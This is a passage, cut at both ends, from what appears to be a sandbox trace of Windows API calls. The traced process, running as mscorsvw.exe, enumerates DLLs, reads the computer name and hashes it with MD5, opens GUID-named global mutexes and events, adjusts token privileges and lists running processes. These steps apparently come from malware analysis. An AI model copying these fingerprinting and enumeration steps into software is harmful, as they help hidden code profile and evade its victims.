lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.725] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x94c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.726] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.726] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x94c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.726] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.726] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x94c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0038.726] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0038.729] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x119ff0c | out: BaseAddress=0x119ff0c*=0x75670000) returned 0x0 [0038.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e840) returned 1 [0038.733] FindClose (in: hFindFile=0x2dfd68 | out: hFindFile=0x2dfd68) returned 1 [0038.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e268) returned 1 [0038.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x184) returned 0x9d7cf8 [0038.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c240 [0038.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c900 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c948 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c990 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c9d8 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94ca20 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94ca68 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94cab0 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94caf8 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94cb40 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94cb88 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94cbd0 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d7ea0 [0038.734] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe", pNumArgs=0x119ff38 | out: pNumArgs=0x119ff38) returned 0x2f8220*="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x10) returned 0x94d5e8 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8) returned 0x94d288 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e268 [0038.734] LocalFree (hMem=0x2f8220) returned 0x0 [0038.734] Wow64DisableWow64FsRedirection (in: OldValue=0x119ff34 | out: OldValue=0x119ff34*=0x0) returned 1 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x800) returned 0x9d8e88 [0038.734] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9d8e88, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e840 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e840) returned 1 [0038.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d9690 [0038.735] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x9d9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0038.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0038.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d7ee8 [0038.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x9d7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d7f30 [0038.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d7ee8) returned 1 [0038.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d7ee8 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d7f78 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d7fc0 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8008 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8050 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8098 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5000) returned 0x9d2850 [0038.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d80e0) returned 1 [0038.735] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0038.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.736] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2db050, lpbSaclPresent=0x119fd68, pSacl=0x119fdbc, lpbSaclDefaulted=0x119fd68 | out: lpbSaclPresent=0x119fd68, pSacl=0x119fdbc, lpbSaclDefaulted=0x119fd68) returned 1 [0038.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.736] CreateEventA (lpEventAttributes=0x119fdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x100 [0038.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d80e0) returned 1 [0038.736] GetLastError () returned 0x0 [0038.736] LocalFree (hMem=0x2db050) returned 0x0 [0038.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.736] CryptAcquireContextW (in: phProv=0x119fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119fda0*=0x2f8220) returned 1 [0038.737] CryptCreateHash (in: hProv=0x2f8220, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x119fda0 | out: phHash=0x119fda0) returned 1 [0038.737] CryptHashData (hHash=0x2dfd68, pbData=0x9d7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0038.738] CryptGetHashParam (in: hHash=0x2dfd68, dwParam=0x4, pbData=0x119fda4, pdwDataLen=0x119fdb0, dwFlags=0x0 | out: pbData=0x119fda4, pdwDataLen=0x119fdb0) returned 1 [0038.738] CryptGetHashParam (in: hHash=0x2dfd68, dwParam=0x2, pbData=0x9d80e0, pdwDataLen=0x119fda4, dwFlags=0x0 | out: pbData=0x9d80e0, pdwDataLen=0x119fda4) returned 1 [0038.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8128 [0038.738] CryptDestroyHash (hHash=0x2dfd68) returned 1 [0038.738] CryptReleaseContext (hProv=0x2f8220, dwFlags=0x0) returned 1 [0038.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d80e0) returned 1 [0038.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8170 [0038.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d80e0) returned 1 [0038.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d80e0) returned 1 [0038.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8170) returned 1 [0038.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8128) returned 1 [0038.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8128 [0038.738] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x118 [0038.738] GetLastError () returned 0x0 [0038.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8170 [0038.738] CryptAcquireContextW (in: phProv=0x119fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119fda0*=0x2f8220) returned 1 [0038.739] CryptCreateHash (in: hProv=0x2f8220, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x119fda0 | out: phHash=0x119fda0) returned 1 [0038.739] CryptHashData (hHash=0x2dfd68, pbData=0x9d7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0038.739] CryptGetHashParam (in: hHash=0x2dfd68, dwParam=0x4, pbData=0x119fda4, pdwDataLen=0x119fdb0, dwFlags=0x0 | out: pbData=0x119fda4, pdwDataLen=0x119fdb0) returned 1 [0038.739] CryptGetHashParam (in: hHash=0x2dfd68, dwParam=0x2, pbData=0x9d8170, pdwDataLen=0x119fda4, dwFlags=0x0 | out: pbData=0x9d8170, pdwDataLen=0x119fda4) returned 1 [0038.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.739] CryptDestroyHash (hHash=0x2dfd68) returned 1 [0038.739] CryptReleaseContext (hProv=0x2f8220, dwFlags=0x0) returned 1 [0038.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8170) returned 1 [0038.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8170 [0038.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d81b8 [0038.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8170) returned 1 [0038.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8170 [0038.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8170) returned 1 [0038.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d81b8) returned 1 [0038.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d80e0) returned 1 [0038.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d80e0 [0038.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d81b8 [0038.740] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0038.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d81b8) returned 1 [0038.740] GetLastError () returned 0x5 [0038.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d81b8 [0038.740] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0038.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d81b8) returned 1 [0038.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d81b8 [0038.740] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x11c [0038.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d81b8) returned 1 [0038.740] SetEvent (hEvent=0x118) returned 1 [0038.766] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0xffffffff) returned 0x0 [0038.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d81b8 [0038.773] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x119fbf4 | out: TokenHandle=0x119fbf4*=0x120) returned 0x0 [0038.773] NtAdjustPrivilegesToken (in: TokenHandle=0x120, DisableAllPrivileges=0, NewState=0x119fbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0038.773] NtClose (Handle=0x120) returned 0x0 [0038.807] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x119fbf4 | out: TokenHandle=0x119fbf4*=0x120) returned 0x0 [0038.807] NtAdjustPrivilegesToken (in: TokenHandle=0x120, DisableAllPrivileges=0, NewState=0x119fbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0038.807] NtClose (Handle=0x120) returned 0x0 [0038.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8170 [0038.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8200 [0038.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8248 [0038.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x0) returned 0x94d278 [0038.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d2850 [0038.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x9d2850, Length=0x4000, ResultLength=0x119fb88 | out: SystemInformation=0x9d2850, ResultLength=0x119fb88*=0x117d8) returned 0xc0000004 [0038.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x11800) returned 0x9d9690 [0038.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2850) returned 1 [0038.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x9d9690, Length=0x117d8, ResultLength=0x119fb88 | out: SystemInformation=0x9d9690, ResultLength=0x119fb88*=0xd9e8) returned 0x0 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x94dd90 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8290 [0038.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d82d8 [0038.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x9d82d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 8 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8320 [0038.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d82d8) returned 1 [0038.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8320) returned 1 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8320 [0038.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8320) returned 1 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8320 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eae98 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e840 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d82d8 [0038.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x9d8368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0038.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d83b0 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d83b0) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d83b0 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d83b0) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eaef8 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d83b0 [0038.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x9d8368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 11 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d83f8 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d83f8) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d83f8 [0038.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d83f8) returned 1 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9eaf58 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e9d8 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d83f8 [0038.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0038.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x9d8368, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0038.813] RtlAllocateHeap 